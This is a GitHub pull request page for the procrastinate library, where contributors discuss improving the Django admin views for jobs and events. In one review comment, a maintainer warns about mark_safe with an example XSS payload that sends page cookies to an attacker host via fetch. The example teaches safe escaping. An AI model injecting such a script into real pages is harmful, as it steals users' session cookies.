Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Make django Admin interface support slightly better UX wise #1140

Merged
merged 7 commits into from
Aug 9, 2024

Conversation

ticosax
Copy link
Contributor

@ticosax ticosax commented Aug 1, 2024

  • Display some fields on table view ["task_name", "queue_name", "attempts", "status"]
  • Allow to filter on status
  • Display Events inline

Sorry no screenshot.

Closes ø

Successful PR Checklist:

  • Tests
    • (not applicable?)
  • Documentation
    • (not applicable?)

PR label(s):

@ticosax ticosax requested a review from a team as a code owner August 1, 2024 15:42
@github-actions github-actions bot added the PR type: miscellaneous 👾 Contains misc changes label Aug 1, 2024
Copy link

github-actions bot commented Aug 1, 2024

Coverage report

Click to see where and how coverage changed

FileStatementsMissingCoverageCoverage
(new stmts)
Lines missing
  procrastinate/contrib/django
  models.py 106, 134
Project Total  

This report was generated by python-coverage-comment-action

@ewjoachim
Copy link
Member

ewjoachim commented Aug 1, 2024

Hi there ! Thank you for your contribution ! As mentioned in the 2.0 release note:

The Admin panels are very very basic for now

😅

Thank you for tackling this, but if you have some spare time, I think we could go a bit further!
Screenshot 2024-08-01 at 19 02 28
Screenshot 2024-08-01 at 19 02 39

  • I think it would make sense if the first list_display element stays the pk. That or the call_string (potentially in a <code> tag)
  • OR I think it makes sense if the kwargs stay displayed in the listing view. It might make sense to pretty-print them and put them in a <pre> tag.
  • It might make sense to only display the name of the task function and not the module names, optionally keep the initials (p.d.d.t.index_book)
  • Would it make sense to include a brief summary of the last event too ? ("deferred 5 minutes ago" with a title mentioning the exact date time)

I tend to find proper use of bold, italics, underline etc, and the occasional emoji very interesting to improve readability. Anything that helps.
Colors can be nice though with some caveats: there are colorblind people, so color should duplicate some info, not be the only way to get some info. Can be text color or background color. Django Admin now supports both light and dark mode, so we need to check contrast with both.

Regarding the details view, I like the addition of events as inline. I think the only thing worth bikeshedding is the order of fields. I'd say: id, task name, args, status, queue, lock, queuing lock, priority, scheduled at, attempts

Thanks a lot :) If you'd rather not spend longer on this, please let us know, we can merge thing and follow up for other changes.

@ticosax
Copy link
Contributor Author

ticosax commented Aug 2, 2024

Thanks for the feedback. I'll to see how far I can get to incorporate all the suggestions.
Stay tuned

@ticosax
Copy link
Contributor Author

ticosax commented Aug 6, 2024

Would it make sense to include a brief summary of the last event too ? ("deferred 5 minutes ago" with a title mentioning the exact date time)

It would mean introducing another dependency similar to humanize to pretty print the timedelta.
I don't think it's worth it.

I will push my interpretation of your feedback. They improve even more the readability. I hope it matches your expectations :)

@ewjoachim
Copy link
Member

I could be wrong but timesince doesn't require humanize, does it ? (There's a python callable version in django.utils.timesince, I believe) (note: maybe I missed a deprecation notice or something?)

@ticosax
Copy link
Contributor Author

ticosax commented Aug 8, 2024

I could be wrong but timesince doesn't require humanize, does it ? (There's a python callable version in django.utils.timesince, I believe) (note: maybe I missed a deprecation notice or something?)

you didn't missed anything. I did. Thanks for the pointer. I will look into it.

- Display some fields on table view ["task_name", "queue_name", "attempts", "status"]
- Allow to filter on status
- Display Events inline
@ticosax ticosax force-pushed the admin-filters branch 2 times, most recently from 43299de to ba1060d Compare August 8, 2024 14:27
@ewjoachim
Copy link
Member

ewjoachim commented Aug 8, 2024

I've added a few commit for additional ideas. Here's the result:

Screen.Recording.2024-08-08.at.23.28.07.mov

I'm ready to merge. If you're ready too, then let's merge. (Waiting for your input in case you want to read/comment my commits).

Copy link
Member

@ewjoachim ewjoachim left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Stellar job 🤩, inspiring and fun. Love it (love it so much I wanted to play too 😬)

Comment on lines +96 to +102
indent = 2 if len(instance.args) > 1 or len(str(instance.args)) > 30 else None
pretty_json = json.dumps(instance.args, indent=indent)
if len(pretty_json) > 2000:
pretty_json = pretty_json[:2000] + "..."
return format_html(
'<pre style="margin: 0">{pretty_json}</pre>', pretty_json=pretty_json
)
Copy link
Member

@ewjoachim ewjoachim Aug 8, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just so you know: it's dangerous to mark_safe elements that can be controlled by external sources. format_html is exactly made for this: the html will be marked safe, but the dynamic elements within will be escaped.

Imagine if someone submitted a task with {"tag": "</pre><script>fetch('http://attacker.com/?'+document.cookies); </script><pre>"} 😱

Whenever you use mark_safe, you have a 50/50 (rough estimate 😄 ) chance of introducing a XSS vulnerability. Only use that in last resort, and only if you're sure that you're doing it on 100% safe text.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

TIL

@admin.display(description="Summary")
def summary(self, instance: models.ProcrastinateJob) -> str:
if last_event := instance.procrastinateevent_set.latest(): # type: ignore[attr-defined]
return mark_safe(
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here, mark_safe is safe because external values got escaped when the template was rendered, so the result of the temple is actually safe

@ticosax
Copy link
Contributor Author

ticosax commented Aug 8, 2024

Very nice Thanks for the additions. You can merge it.

@ewjoachim ewjoachim merged commit 112f2c8 into procrastinate-org:main Aug 9, 2024
11 checks passed
@ticosax ticosax deleted the admin-filters branch August 9, 2024 11:15
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
PR type: miscellaneous 👾 Contains misc changes
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants